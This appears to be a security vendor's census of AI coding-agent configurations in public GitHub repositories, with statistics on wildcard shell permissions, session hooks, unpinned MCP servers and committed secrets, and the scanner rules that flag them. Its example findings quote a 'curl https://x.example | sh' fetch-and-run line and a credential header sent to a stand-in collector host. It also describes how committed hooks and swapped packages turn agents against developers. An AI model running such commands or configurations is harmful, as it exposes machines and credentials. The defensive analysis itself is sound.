ControlLoopStart free trial

ControlLoop research · November 6, 2026

What 7,760 GitHub repositories let their coding agents do

A census of committed AI-agent configuration on GitHub, analyzed with the open-source ControlLoop CLI. Every number is what the scanner reported across 7,760 public repositories; no repository is named.

14%of Claude Code setups allow Bash(*), any shell command with no prompt; 33% of those that commit an allow list at all
20%of repositories ship an agent hook; 8% run one on every session start
91%of package-launched MCP servers have no pinned version
2%commit a credential-shaped value in their agent configuration
62%produce at least one ControlLoop finding on a first scan
2%have a dev container that auto-installs an editor extension with no exact version

The sample

GitHub code search was used to find public, non-fork repositories that commit one of five agent configuration files: .claude/settings.json, .mcp.json, .codex/config.toml, .cursor/mcp.json, and .gemini/settings.json. Searches were spread across the five file types and across file sizes, so the sample is not dominated by one host or by tiny files. 80,742 repositories were discovered; 7,837 were fetched and 7,760 analyzed (77 had no readable configuration at the default branch).

For each repository only its agent-configuration files were downloaded (the paths ControlLoop's adapters read, including the workflows that run an agent in CI), then controlloop bom and controlloop scan ran on them. Scanner 0.7.1, rule pack controlloop-community 0.9.0.

Sample factValue
Repositories analyzed7,760
Found through each file typeClaude Code 3,858 · .mcp.json 2,815 · Codex 562 · Cursor 394 · Gemini CLI 331
Hosts configuredClaude Code 6,622 · Codex 794 · Cursor 539 · Gemini CLI 419 · VS Code 210 · Kiro 27 · Roo Code 11 · copilot 2 (a repository often configures several)
Starsmedian 0; 203 repositories with 100 or more; 60 with 1,000 or more
Analysis marked incomplete1,561 (20%), usually a workflow or component the adapter could not fully read; these are reported as unknowns, never dropped

The sample is what code search returns, mostly small and personal repositories. It is a census of what gets committed, not a statement about any organization. The 100-plus-star cut (203 repositories) is given where it differs.

1. Permission rules: 14% of Claude Code setups allow any shell command

6,622 repositories configure Claude Code. 2,829 of them commit permission allow rules; the rest only declare MCP servers, hooks or components. Among those 2,829, 924 allow Bash(*): 33% of every repository that commits an allow list, and 14% of all Claude Code repositories. Wildcard rules of any kind (a bare tool name, Tool(*), a shell prefix with :*, mcp__server__*) appear in 1,977 repositories, 70% of those with an allow list. In total 54,174 of the 75,603 committed allow rules are wildcards. 833 repositories commit a deny rule.

MeasureReposShare
Claude Code repositories6,622
…with any allow rule committed2,82942.7%
…allowing Bash(*)92414% of all · 32.7% of those with allow rules
…with any wildcard allow rule1,97729.9% of all · 69.9% of those with allow rules
…project file sets a bypass or auto mode (bypassPermissions 62, auto 17, dontAsk 1)981.5%
…both Bash(*) and a bypass mode310.5%
…with a deny rule83312.6%
100-plus-star repositories allowing Bash(*)22 of 17612.5%

2. Hooks: 20% ship one, and 8% run code on every session start

1,562 repositories commit at least one hook. A committed SessionStart hook runs on every machine that opens the repository, before anyone types a prompt; 610 repositories (7.9%) ship one. 1,180 of the hooked repositories run a script file from the repository itself, which is the same shape as a credential harvester disguised as setup: a one-line hook pointing at a file the same pull request can edit. 6 hooks download from the network, and 22 pipe output into a shell.

Hook event (repositories using it)Repos
PreToolUse823
PostToolUse751
SessionStart610
Stop509
UserPromptSubmit279
Cursor and Gemini CLI events (BeforeTool, AfterTool, and others)1,074
What the hook command does (repositories, of 1,562 hooked)Repos
Runs a script file committed in the repository1,180
Other inline commands498
Runs a package through npx, uvx or similar65
Pipes a download into a shell22
Fetches from the network6

3. MCP servers: 43% declare one, and 91% of package-launched servers are unpinned

3,360 repositories (43.3%) declare at least one MCP server: 8,203 servers in all, 5,166 launched locally over stdio and 3,037 remote. 2,743 of the local servers are launched by package name (npx -y some-package, uvx some-package); 2,498 of those name no version. In 1,062 of the 1,097 repositories with an unpinned server, every packaged server is unpinned. Among 100-plus-star repositories, 85.5% of the 69 packaged servers are unpinned.

An unpinned server means the code the agent runs is whatever the registry serves tomorrow. The configuration never changes, so nothing in the repository's history shows when the server's behavior did. 155 repositories also commit a remote server declaration that sends a credential header or token variable to its host.

MCP package used by 5 or more repositoriesRepos
@playwright/mcp227
@upstash/context7-mcp194
chrome-devtools-mcp97
shadcn87
@modelcontextprotocol/server-github78
@modelcontextprotocol/server-sequential-thinking59
@modelcontextprotocol/server-filesystem49
@supabase/mcp-server-supabase49
@modelcontextprotocol/server-memory40
mcp-remote40
next-devtools-mcp33
serena (PyPI)31
@modelcontextprotocol/server-postgres26
task-master-ai25
@angular/cli24
tsx22
code-review-graph (PyPI)19
mcp-server-fetch (PyPI)16
@sveltejs/mcp14
firebase-tools13
nx-mcp12
@executeautomation/playwright-mcp-server11
@mobilenext/mobile-mcp11
nx11
hashicorp/terraform-mcp-server (oci)11
mcp-server-git (PyPI)11
xcodebuildmcp10
@21st-dev/magic9
create-better-t-stack9
firecrawl-mcp9
ghcr.io/github/github-mcp-server (oci)9
blender-mcp (PyPI)9
@browsermcp/mcp8
@magicuidesign/mcp8
@modelcontextprotocol/server-puppeteer8
@sentry/mcp-server8
gitnexus8
trigger.dev8
@azure-devops/mcp6
@modelcontextprotocol/server-brave-search6
@notionhq/notion-mcp-server6
mongodb-mcp-server6
@azure/mcp5
@chakra-ui/react-mcp5
@eslint/mcp5
@heroui/react-mcp5
agentation-mcp5
agentkits-memory-server5
playwright5
rea-agents5
git+https://github.com/oraios/serena (PyPI)5
mcp-nixos (PyPI)5
postgres-mcp (PyPI)5

Packages used by fewer than 5 repositories are not listed, so no single project can be identified. Registries across all repository-package pairs: npm 1,838, PyPI 300, OCI 43.

4. Agents in CI: still rare, and mostly using the official action's OIDC token

221 repositories (2.8%) run a coding agent inside a GitHub workflow, 437 workflows in all. 351 of those workflows hold id-token: write, which the official agent actions use to authenticate, and 93 hold contents: write. 5 skip the agent's permission prompts. ControlLoop's over-privileged-workflow rule, which needs a write token and skipped prompts (or an untrusted trigger with no permissions block), fired in 4 repositories.

5. Skills, subagents and plugins: a large and lightly pinned surface

The sample commits 22,788 skills across 2,285 repositories, 5,790 subagents across 978, 11,466 plugins, and 1,245 plugin marketplaces. 1,000 repositories (12.9%) have a skill or subagent that grants itself tools or a looser permission mode; 92 have a skill that runs a shell command when it loads, before any prompt reaches the model, or a plugin that puts a bin/ directory on the agent's path. 1,699 repositories (21.9%) reference a plugin or marketplace with no commit or digest pin.

6. Secrets and other settings

  • 158 repositories (2%) commit a credential-shaped or high-entropy value inside agent configuration or an agent workflow. ControlLoop reports the pattern and location, never the value.
  • 171 expose a secret to an agent run triggered by untrusted input.
  • 137 loosen an approval or sandbox mode from a project file (Codex approval_policy = "never", Gemini CLI yolo, Claude Code bypassPermissions, auto-approve lists).
  • 52 weaken the agent's sandbox or network egress settings; 171 expand its workspace scope.

7. Overall: what a first scan finds

Rule that fired on a first scanReposShare
policy.widened-permission-rule1,96525.3%
policy.unpinned-agent-component1,69921.9%
policy.agent-hook-command-change1,60520.7%
policy.component-self-grant1,00012.9%
policy.secret-exposed-to-untrusted-agent-run1712.2%
policy.workspace-scope-expansion1712.2%
policy.hardcoded-secrets1582%
policy.credentialed-remote-mcp-server1552%
policy.permission-bypass-from-project1371.8%
policy.component-shell-execution921.2%
policy.agent-sandbox-weakened520.7%
policy.overprivileged-agent-workflow40.1%

4,799 repositories (61.8%) produced at least one finding. 107 had a finding at high and 32 at critical even on a first scan, where most rules report at low because there is nothing to compare against. The worst reachable capability was code execution in 2,938 repositories, an unclassifiable capability (a tool list the scanner could not read) in 1,743 repositories, external communication in 577 repositories, and write access in 122 repositories.

8. What a clone installs and runs: 2% open in a dev container, and 100% of those that install an extension leave one unpinned

Agent configuration is not the only thing a repository makes a machine run. A dev container installs the extensions and features it names and runs its lifecycle commands when the repository is opened. A pre-commit config clones each hook repository at its rev and runs it on every commit, including every commit an agent makes. An editor startup file runs when the project opens in Neovim, Vim or Emacs.

Clone-time protection reviews the files that silently install tools and run scripts every time a repo is opened or committed to, and flags any new, changed or unpinned entry in the pull request. A poisoned install gets caught by one reviewer before it merges, instead of running on every developer's laptop and CI runner.

MeasureReposShare
Repositories checked for these files2,593
Commit a dev container (.devcontainer/devcontainer.json or .devcontainer.json)592.3%
…whose dev container auto-installs an editor extension491.9%
…with at least one extension that names no exact version491.9% of all · 100% of those that install one
…with a feature that names no exact version or digest (:1, :latest)301.2%
…with a lifecycle command (postCreateCommand and the others)532%
…running one on the developer's machine before the container starts (initializeCommand)110.4%
Commit a pre-commit config933.6%
…with a hook repository on a tag rather than a commit SHA702.7% of all · 75.3% of those with a config
Commit an editor startup file (.nvim.lua, .exrc, .dir-locals.el and others)fewer than 5
Recommend VS Code extensions (.vscode/extensions.json, suggested and not installed)1415.4%

These figures cover the 2,593 repositories in this sample checked with ControlLoop 0.7.1, the first version that reads these files. The sample was found by searching for agent configuration, not for dev containers or pre-commit configs, so this is what repositories that commit agent configuration also install and run, not a count of dev containers on GitHub.

On a first scan these entries are recorded at low, like the rest of the census. In a pull request, an added or unpinned extension, feature or hook repository is reported by policy.unpinned-agent-component, and a new or changed lifecycle command, local hook or startup file by policy.agent-hook-command-change, each naming the entry for the reviewer.

How ControlLoop catches each of these

The census is a first scan: ControlLoop looked at each repository with no approved baseline, so it reported what exists and graded most of it low. That is deliberate; a first scan is an inventory, not a verdict on a change. The product is built for the other case: a pull request that introduces one of these patterns. There the same rule compares the branch with its base, grades the change, and the gate's default threshold (high) turns it into DEPLOYMENT BLOCKED, exit 1, with a one-sentence authority statement saying what the change grants and to whom. The entries below give both grades, the first-scan one the census saw and the pull-request one a team would see, from the rule documentation.

A SessionStart hook that runs a script

Seen in the census
610 repositories run a hook on every session start; 1,180 hooked repositories run a committed script file.
Rule
policy.agent-hook-command-change
First scan
low, recorded, not blocking
In a pull request
high when a command hook is added or its command changes, so blocked. A non-command hook (http, prompt, agent) is medium.
What the finding says
"Added: Hook on event 'SessionStart' for host 'Claude Code' runs node .github/setup.js." The authority statement adds: "This change gives Claude Code the power to run node .github/setup.js on every session start. No approval is recorded."
Why it works
Every new hook is reported, including a formatter; the reviewer reads the command once and approves it by fingerprint. ControlLoop's rule documentation notes that the Miasma worm, Mini Shai-Hulud and CVE-2026-25725 spread through exactly this kind of committed hook.

An allow list widened to Bash(*)

Seen in the census
924 repositories allow Bash(*); 1,977 have some wildcard allow rule.
Rule
policy.widened-permission-rule
First scan
low for wildcard rules
In a pull request
high when a wildcard is added, a rule is added that covers a baseline rule, or a rule changes to cover its old pattern, so blocked. medium for read-only tools. A narrowed rule, a new deny or ask, or an unchanged rule reports nothing.
What the finding says
"Allow rule for 'Claude Code' widened from 'Bash(npm test)' to 'Bash(*)'." with the authority statement "This change gives Claude Code the power to use Bash(*) without asking (a wildcard)."
Why it works
A shell rule stays high however narrow its prefix: Bash(npm run:*) runs any script in a file the same pull request can edit. The rule reads the pattern text, so confidence is high.

An MCP server with no pinned version, or one whose package changed under the same name

Seen in the census
2,498 of 2,743 package-launched servers are unpinned; the configuration will keep running whatever the registry serves next.
Rules
policy.mcp-server-identity-change; on Team, policy.unsanctioned-agent-component with the organization's approved list
First scan
none for identity (nothing to compare); low for unpinned plugins and marketplaces
In a pull request
A server that keeps its name while its package, version, command or registry changes is high, so blocked, naming every field that changed. A new server is medium. On Team, a server the organization has not approved, or one outside the approved version range, or unpinned where pin_required is set, is review required (exit 3), or blocked if the organization sets a severity floor.
What the finding says
"Server 'postmark' kept its name but its identity changed: package version from '1.0.15' to '1.0.16', args from … to …, declaration digest."
Why it works
The rule documentation's example is the postmark-mcp backdoor, which shipped in version 1.0.16 after fifteen clean releases while the configuration named the same server every time. A rename is visible in a diff; a same-name swap is not, unless something compares identity. For the 91% that pin nothing, the gate's answer is the Team approved-components list: an organization approves a server at a version range, and anything else that launches by that name is flagged.

A project file that switches the agent to a bypass mode

Seen in the census
98 Claude Code project files set a bypass or auto mode; 137 repositories loosen some host's approval or sandbox mode.
Rule
policy.permission-bypass-from-project
First scan
low for a host at the loose end of its scale
In a pull request
high for any loosening, so blocked. The rule knows each host's scale: Claude Code plan → default → acceptEdits → dontAsk → auto → bypassPermissions; Codex untrusted → on-request → on-failure → never and read-only → workspace-write → danger-full-access; Gemini CLI plan → default → auto_edit → yolo. Tightening is silent.
What the finding says
"Codex: 'approval_policy' moved from 'on-request' to 'never'."
Why it works
A project file applies to everyone who opens the repository. The remediation is to keep the strict mode in the project and put looser modes in personal settings outside it.

An agent workflow with a write token and no prompts

Seen in the census
221 repositories run an agent in CI; 5 skip permission prompts; 4 hold a write token at the same time.
Rule
policy.overprivileged-agent-workflow
First scan
medium
In a pull request
high when a job is added or changed into holding contents, pull-requests or id-token write and skipping prompts, or running on an untrusted trigger with no permissions block, so blocked.
What the finding says
"Job 'claude / review' holds contents: write, id-token: write and skips permission prompts."
Why it works
A read-only job is never reported, whatever its flags, so the official action's documented id-token: write on its own is not noise. The combination that lets an injected instruction push code or mint cloud credentials is what fires.

A skill or plugin that runs code when it loads, or grants itself tools

Seen in the census
92 repositories have a skill with a shell line or a plugin bin/ directory; 1,000 have a component that grants itself tools or a looser mode; 1,699 reference an unpinned plugin or marketplace.
Rules
policy.component-shell-execution, policy.component-self-grant, policy.unpinned-agent-component
First scan
low, once per skill or plugin
In a pull request
A shell line added to a skill, or a bin/ directory added to a plugin, is high, so blocked. An unpinned plugin or marketplace added is medium; a pinned one is low.
What the finding says
"Added: Skill deploy runs curl https://x.example | sh when it loads, before any prompt reaches the model." or "Added: Marketplace team (github) has no commit or digest pin."
Why it works
A skill's shell line runs when the skill loads, with no permission prompt; a plugin's bin/ joins the agent's path. The remediation is a full commit SHA or SHA-256 digest; a branch or tag reference counts as unpinned because it can move.

A secret committed in agent configuration

Seen in the census
158 repositories (2%); 171 more expose a secret to an agent run on untrusted input; 155 send a credential header to a remote MCP host.
Rules
policy.hardcoded-secrets, policy.secret-exposed-to-untrusted-agent-run, policy.credentialed-remote-mcp-server
First scan
Secrets are reported on every scan, baseline or not; the credentialed-server rule is low on a first scan.
In a pull request
A credentialed remote server whose host changes is high, so blocked; a credentialed server added, or a credential name added to one, is medium.
What the finding says
The secret rule names the pattern and location, never the value: "SECRET-CREDENTIAL-SHAPE-DETECTED, AWS access key shape, .mcp.json". The server rule: "MCP server 'docs' now sends Authorization to collector.example.net, previously api.example.com."
Why it works
Credentials are recognized by header and variable name (Authorization, x-api-key, anything ending in _token, _secret, _key), so the value is never read, logged or stored.

What the rules can't see, and what catches it anyway

1,743 repositories' worst reachable capability was unclassifiable: a tool list built at runtime that static analysis cannot enumerate. ControlLoop reports that as policy.unresolved-dynamic-registration rather than passing silently, and with completeness enforcement turned on the gate returns review required. For authority that no rule anticipated, a repository declares a capability ceiling in controlloop.yaml; a change that crosses it is blocked whether or not any pattern rule fires, and a ceiling breach cannot be suppressed.

Over time

The census runs nightly and this page is regenerated from its output when the numbers are reviewed. Each row is one snapshot of the GitHub sample: how many repositories were analyzed that day and the headline shares. The latest row is what the rest of this page shows. 8 snapshots so far.

SnapshotAnalyzedBash(*)SessionStart hookUnpinned MCPCredentialAny finding
2026-11-067,76014%8%91%2%62%
2026-11-056,82114%8%91%2.1%61%
2026-11-046,07614%8%91%2.1%60%
2026-11-035,16715%8%92%2.3%64%
2026-11-024,26815%8%92%2.2%62%
2026-11-013,37015%9%92%2.3%60%
2026-10-312,55215%7%94%2%57%
2026-10-302,03314%6%95%2.3%53%

The data behind this page is public: census.json (the latest snapshot, aggregates only) and census-series.json (one row per snapshot). Shares are of the Claude Code sample for Bash(*), of package-launched servers for unpinned MCP, and of all analyzed repositories otherwise.

Limitations

  • The sample is what GitHub code search returns for five file names, sharded by file size. It over-represents small and personal repositories (median 0 stars) and cannot say how enterprises configure agents; the 100-plus-star cut is small (203 repositories).
  • A first scan grades most patterns low because there is no baseline. The pull-request severities above come from the rule documentation, not from re-running each repository's history.
  • Only agent-configuration files and the root-level files a clone installs and runs (dev container, VS Code recommendations, pre-commit config, editor startup files, JetBrains required plugins) were fetched, so a secret elsewhere in a repository is not counted, and a skill's body, a hook's script or a lifecycle command's script were not read beyond what the CLI's adapters record.
  • The hook-command classes are coarse, by regular expression on the command text, and were discarded after counting.
  • GitHub only. GitLab.com has no public cross-project code search, so GitLab projects are not part of these numbers.
  • Scanner 0.7.1 with rule pack 0.9.0; the same census on a later version will differ as rules are added.

See your own repository's numbers

The same scanner runs on your machine in under a minute, reads only committed files, and sends nothing anywhere. Then gate every pull request so none of these patterns arrives unreviewed.

Get the free CLI Start a Team trial
Method and source: the agent-census package in the ControlLoop repository, run against GitHub's public API; this page is regenerated from its aggregate output. Aggregates only; packages used by fewer than 5 repositories are suppressed; no repository, owner or file is named here or in the published data.